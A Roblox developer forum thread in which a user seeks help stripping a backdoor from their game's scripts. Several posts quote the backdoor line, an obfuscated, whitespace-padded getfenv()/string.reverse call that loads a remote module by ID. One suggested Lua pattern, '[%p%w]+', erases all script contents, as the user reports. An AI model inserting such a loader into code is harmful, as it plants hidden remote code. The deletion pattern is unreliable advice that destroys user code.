String.sub issues (help me remove a backdoor)

Help and Feedback Scripting Support
#2

Try this:

alpha = "%-%-%[%[ Last synced 3/18/2021 06:35                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]-- "

for _, Desc in ipairs(game:GetDescendants()) do
   pcall(function()
       if Desc:IsA('LuaSourceContainer') then
	      local Replacement = string.gsub(Desc.Source, alpha, "")
	      Desc.Source = Replacement
       end
   end)
end
1 Like
#3

afbeelding

did not work sadly

#4

Can you paste the entire alpha variable?

#5 
--[[ Last synced 3/18/2021 06:37                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--

this is the line of text i am trying to remove

#6 
alpha = "%-%-%[%[ Last synced 3/18/2021 06:37                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader %]%] getfenv()%[string%.reverse(\"\101\114\105\117\113\101\114\")%](5722905184) %-%-%[%[                                                                                                  %]%]%-%-"

for _, Desc in ipairs(game:GetDescendants()) do
   pcall(function()
       if Desc:IsA('LuaSourceContainer') then
	      local Replacement = string.gsub(Desc.Source, alpha, "")
	      Desc.Source = Replacement
       end
   end)
end

Try this, let me know if you get any unicode errors or anything like that

#7

This can be achieved easily,

Here is a code sample I made you:
The pattern will entirely remove the content.

local T = "--[[ Last synced 3/18/2021 06:35"
local Pattern = "[%p%w]+"
print(string.gsub(T,Pattern,"",5)) -- 5 is to represent the number of maximum words we would like to get rid of as your String "--[[ Last synced 3/18/2021 06:35" is always 5 words long

Your practical Example:

local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				Pattern,
				"")
			Descendant.Source = Replacement
		end
	end)
end

Let me know of any issues.

#8

afbeelding

no errors, but when i check the scripts, the Virus is still there

#9

you can scroll to the left, the string has more than 5 words

#10

If you do not specify the amount it will get rid of the whole string. Try it out.

#11

afbeelding
no effect virus still there

afbeelding
no effect virus still there

#12

Also the easiest way for you to get rid of the backdoor, Just click CTRL + SHITFT + F and You can input the string you would like to find in all your script and replace it with white spaces.

#13

love to do that but
afbeelding

#14

Oh yeah, Give me a second I’ll write you a regex for that.

#15

btw the time is a variable, just noticed not all are exacly 6:37 there are some 6:35 and 6:39

#16

Do not worry with regex That can be handled easily as it contains a digit “%d”.

#18

You can also use ctrl + shift + f to search all scripts to search for that text.

#19

rewrote this to

local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function()
		if Desc:IsA('LuaSourceContainer') then
			print(Desc)
			local Replacement = string.gsub(Desc.Source, 
				Pattern,
				"")
			Desc.Source = Replacement
		end
	end)
end

it works, the virus is gone, but it has also cleared every bit of code I have written

#20

see String.sub issues (help me remove a backdoor) - #13 by boeljoet

#21

I got confused at first as it works perfectly fine though, I made it to specifically get rid of the whole backdoor code.

As I was certain that that will work.

#22

yeah but it alsow removes the code i want to keep